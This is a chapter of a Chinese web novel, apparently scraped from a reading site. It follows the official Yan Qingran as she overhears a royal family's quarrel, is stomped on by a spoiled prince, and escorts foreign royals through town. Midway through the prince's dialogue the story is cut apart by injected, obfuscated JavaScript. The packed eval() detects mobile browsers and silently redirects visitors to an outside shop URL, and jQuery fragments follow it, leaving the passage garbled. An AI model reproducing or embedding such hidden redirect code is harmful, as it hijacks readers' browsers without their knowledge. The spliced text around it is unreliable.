文趣网 > 都市小说 > 莫问青染(女尊) > 89. 听墙角
    《大燕实录》中关于先帝的部分已全部编纂完好,如今就剩最后的校勘工作,主导正好是李典籍。

    以前的那一位与费融关系甚好,恰好那日忘忧馆的践行宴她也在,自然也受了板子。

    《大燕实录》的末班车她算是赶不上了。

    安子央跟着李典籍收尾,她自然无话可说,也就不再另行安排。

    又交代了得力下属几句,让她帮忙盯着最后进度,递交上去前,让她先过个眼,然后就是马不停蹄的往帝卿府赶,路上随便用了点点心就算解决了午饭。

    到了帝卿府,门房倒未为难她,顺利就进了府。

    长帝卿一家三口正在用餐。

    当然,这三口之中并无陈国大皇女,而是换成了费融,长帝卿的亲姑娘。

    晏青染简直能惊掉了下巴,虽是在帝卿府里,但这也太明目张胆了,脸呢,都丝毫不顾忌了吗?

    费融看到是她来,甚至还笑得更加张扬:“是晏学士啊,哦不,现在应该叫晏伴使了。”

    “吃了吗?一起用点儿?”

    完全一副主人家的做派。

    晏青染心中翻了个白眼儿。

    蠢货,难怪这些年皇帝都看不上她,但凡她知道低调两个字怎么写,都不可能到现在才混上个中书舍人。

    而且她敢打包票,她这中书舍人位置也坐不久。

    她抬手委婉拒绝:“多谢费舍人好意。”

    “只是本使来之前已经用过饭了。”

    她转首朝其他两人:“长帝卿,六殿下,你们慢用,本使出去等。”

    “慢着。”有人阻拦。

    晏青染循声看去,正是长帝卿。

    他搁下筷子,朝她看来:“听说晏伴使今天在朝上替我们说话了?”

    他声音低沉,带着些居高临下的语气。

    晏青染这才真正瞧清他的样貌,算起来也该满四十的年纪了,可看上去只有三十出头。

    容貌算不得有多精致,但贵在柔和,看着让人舒服,如沐春风的那种。

    时间无疑对他是很宽和的,肌肤嫩滑如少年郎不说,眼角甚至找不出一丝细纹。

    晏青染这下是完全相信,陈王盛宠王夫那一套说辞了。

    爱不爱的,脸骗不了人。

    她不敢在他脸上逗留许久,颔首作揖:“本使只是尽了本分,说了实话而已。”

    最关键是,说了皇帝想让她说的。

    “呵,”长帝卿冷哼一声,“好一句尽本分,说实话。”

    “行了,你出去候着吧。”

    “莫要再打搅了本宫与融儿叙话了。”

    晏青染嘴角抽了抽。

    都说被爱者有恃无恐,这位帝卿前半生有太夫护着,和亲他国,也遇上个对他好的良人。

    她总算弄明白了,这种人,压根儿就不是什么蠢货,因为他根本就不需要委曲求全,也不需要去争权夺利,因为被爱就是他最大的底气。

    这种底气她也曾拥有过,可惜,十二年的那个大雨夜,一切都没了,她的家,她的父母,她所有的家人......

    不,还有,她还有阿问。

    他们会成为彼此最大的底气。

    快了,就快了。

    她马上就不必再羡慕任何人了。

    “那本使先行退下。”她再浅行一礼,退了出去。

    身后传来六皇子娇憨的声音:“父后,你偏心,就只和姐姐叙话吗,靖儿呢,你就不理理靖儿?”

    “你不是说靖儿才是你最喜欢的孩子吗?”

    “坐好。”长帝卿看似在斥责,偏语气又软的厉害,“这么多好吃的,都堵不上你的嘴。”

    “我和你姐姐这么多年没见,说上几句话你便不高兴了,怎么醋意就这么大?若哪天你遇上个喜欢的女郎,那又如何是好?”

    “那就将她关起来啊!”慕容靖语气天真,“让她日日只看着我一人,只对我好,”

    晏青染暗骂了一声,又是个小疯子。

    偏里面那群人丝毫不以为意,长帝卿甚至还带了几分宠溺的语气:“你哟!”

    费融拍着胸脯道:“弟弟将来喜欢上谁,告诉姐姐,姐姐准保叫人将她绑到你跟前,唯你命是从。”

    “那就多谢姐姐了。”慕容靖笑容甜美。

    “不过,”他话锋一转,“我估计会麻烦不上姐姐。”

    “一来,我喜欢的人,我会自己搞定。”

    “第二,我喜欢的人又不在你们大燕,你难不成还能跑到我们陈国去绑人不成?”

    “慕容靖!”长帝卿连名带姓的叫,这次的怒气完全不掺假,“她是你姐姐。”

    “道歉!”

    “我不,”慕容靖倔劲儿上来,“我又没说错。”

    “你......”长帝卿的怒火还没发出来,就被费融拉住。

    “爹,您别生气,弟弟说的对,都是我的错,我不该因一时高兴,就说出些不自量力的话,惹弟弟生气了。”

    “你的错?”长帝卿声音高亢,“你有什么错?”

    “若非我当年糊涂,早两年生了你,你现在就该是陈国玉尊金贵的大皇女。”

    晏青染在外头听得心中一咯噔。

    她收回刚刚说的被偏爱者有恃无恐这句话,这完全就是个不带脑子的。

    还晚两年,再晚多少年,费融也成不了陈国王室的血脉。

    长帝卿在陈国就没生皇女的命,要不然还能过继大皇女到自己膝下?

    屋内的声音还在继续。

    “还有你弟弟,你跟他道什么歉,若不是他非要偷偷的跟着,至于在朝堂上牵累你......”

    晏青染只觉得那声音似天外来客,完全听不见脑子里,因为对面廊檐下正站着一人,陈国的大皇女。

    长帝卿的声音不算低,她那个距离应该也能听到。

    晏青染窝人门外听墙角就已经够尴尬了,还意外碰上另外一个当事人,瞬间不知道该用什么表情来面对。

    她还没想好措辞,那边大皇女已转身离开。

    就这样?

    她都想好微笑的角度怎样,千万不能让她觉得她是在嘲笑她,又不能太过浅薄,让她感觉不到她的诚意。

    笑意还僵着,后头门突然被人“哗”的一下拉开,晏青染麻木转头,正对上红了眼眶,十分委屈的慕容靖。

    似是没料到她站得这么近,委屈皇子瞬间变成呲牙怒目的小狮子。

    “看什么看?小心你的眼睛。”

    他往外跑了两步,又回过头来。

    晏青染还没反应过来,左脚便是一阵剧痛。

    慕容靖用了十成的力道踩在她的脚上,还用力碾了碾。

    “就你,一个奴才也敢笑本皇子,这是给你的教训,下次

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734321|203116||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    再敢这样笑,挖了你的眼睛。”

    说罢,一扭身彻底跑了。

    晏青染后知后觉,连忙抱了脚单鸡独立。

    她这是招谁惹谁了。

    屋内费融似要追出来,被长帝卿拦住。

    “随他去。”

    “我这些年太宠他了,宠的无法无天,再不吃些教训,天都要捅破了。”

    “稍晚我随你进宫去见见我那皇姐,总不能他做的错事,倒叫你受了委屈。”

    晏青染没听到费融回什么,但她也不想听到。

    等脚背上的痛意稍稍缓解,她便一瘸一拐的往外挪。

    离这群疯子远些,越远越好。

    ······

    午后,长帝卿果然用了长途奔波,身子还未休息好的借口留在府中。

    六皇子那蠢货还想表孝心,也要留下来陪她,被长帝卿好言好语的推了出来。

    晏青染只当不知,陪着两位尊贵的陈国殿下逛大街。

    毕竟是男女有别,两位殿下喜好自然不同。

    六皇子是看到好看的东西就挪不开脚,天都快黑了,他们一家珠宝斋还没走完。

    大皇女早没了耐心,一个人就坐在珠宝斋廊前的石阶上,看来来往往的行人。

    晏青染陪笑也陪的两颊僵硬,趁着珠宝斋的侍儿给他重新挽发,配上另一套头面来比较,她退出店外。

    估摸着是感觉到身边的阴影,她抬头看来,见是她,微微一笑。

    “你也出来了?”

    晏青染只是颔首微笑,没有回答。

    又见她拍了拍身边位置:“坐。”

    晏青染也没有客气,这一天的,屁股几乎没着凳子,站的她脚跟都疼了。

    她刚坐下,大皇女就凑了过来:“打个商量,明天能不能出城玩玩,这般小郎君喜欢的地方,实在没什么意思。”

    她的大燕语说的并不利索,但好在也能听懂。

    晏青染刚要开口,里头已传来慕容靖的声音:“皇姐,你说的话我可都听见了哦。”

    大皇女回头:“听见就听见了。”

    “你拘了这么些天了,不想出去看看,顺便抓点小兔子啥的?”

    “真的?”慕容靖发箍都未固定好,就跑了出来,“真的可以出去抓兔子,我还想要头小鹿,皇姐,你给我打头来呗。”

    “就是没将我的小红一起带来,不然有它,我都能自己去打了。”

    “行,回头遇上肯定给你猎来。”大皇女脸上有了笑容,又宠溺催促,“快回去坐着,这般没个正行,小心回头又要被说。”

    “切,父后现在才没空管我。”

    嘴上虽是这么说,但还是乖乖地回去重新弄头发。

    晏青染在旁边就是一个空气人。

    他们就这般擅自做了决定,都不要问问她这个馆伴使的吗?

    出城一日,她还可以做个小主,可这分明是要去林场啊,那地方,大型猎物要赶,小型猎物要放,不得提前准备个好几日。

    “怎么?”大皇女看她一副便了秘的表情,收了笑,“晏伴使连本殿这点小要求都做不到?”

    晏青染嘴角颤了颤。

    就这,还小要求。

    她原本的计划,也就打算带他们去爬爬山,游游船。

    这狩猎又是个什么鬼?

    长帝卿这一家都是来克她的吧。